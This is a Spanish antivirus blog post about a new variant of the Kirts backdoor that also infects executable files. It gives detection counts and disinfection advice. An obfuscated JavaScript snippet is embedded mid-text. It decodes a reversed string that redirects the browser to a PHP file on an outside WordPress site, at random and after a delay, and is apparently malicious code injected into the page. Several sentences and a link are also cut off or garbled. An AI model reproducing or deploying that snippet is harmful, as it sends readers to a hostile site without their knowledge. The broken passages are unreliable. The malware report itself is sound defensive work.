Nueva variante del backdoor Kirts, que aparte de hacer lo tipico, ademas infecta exes

El conocido backdoor Kirts que , normalmente, :

– Queda residente. (uno o mas procesos activos)
– Se coloca en la lista de Autorizaciones del CortaFuegos de Windows.
– Infecta Pendrives
– Se actualiza periodicamente

Como la variante «normal» de hoy, que ya detectan 35 antivirus en virustotal,

tor de exes, el cual, ademas de hacer lo propio, infecta ejecutables, siendo detectado actualmente por 24 AV del virustotal

tor de exes (24 DETECCIONES)

Y los ficheros infectados tienen un añadido al final de 4 KB , aparte de pequeñas modificaciones al principio, para adaptar la cabecera a nuevo tamaño

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/gui/file/f343f39c67a1bde9abe5b4733347d0ec960a381d57621065601bc5d4acc4561e/detection» target=»_blank» rel=»noopener noreferrer»>FICHERO INFECTADO POR EL VIRUS DEL «KIRTS INFECTOR» EN EL FICHERO REGEDIT.EXE (41 DETECCIONES)

Si bien parece que hay algun error en la infección pues se detecta un error en la ejecución de los infectados, aunque otros quedan operativos, como el del próximo ejemplo:

tos pornograficos del usuario, pidiendo rescate para no no divulgarlos:

https://www.pcrisk.es/guias-de-desinfeccion/9433-phorpiex-trik-worm

A partir del ELISTARA 42.98 de hoy pasaremos a detectarlos a todos ellos, recordando que es importante arrancar en MODO SEGURO para que no haya ningun residente que pueda incordiar, asi como verificar los pendrives, que tambien son afectados por esta familia del Kirts…

Proximas variantes las añadiremos a nuevas versiones del ELISTARA, como siempre.

saludos

ms, 20-2-2020

ANEXO :

Sobre el Tema de mails spam-porno que se indica en el enlace a la información del PHORPIEX, nos complace ofrecer la última noticia que publicamos en su día al respecto en nuestro blog, para recordar los detalles al respecto:

NUEVA LLEGADA DE MAILS AMENAZANDO PROPAGAR VIDEOS PERSONALES CAPTURADOS POR EL MALWARE INSTALADO AL VISITAR WEB PORNO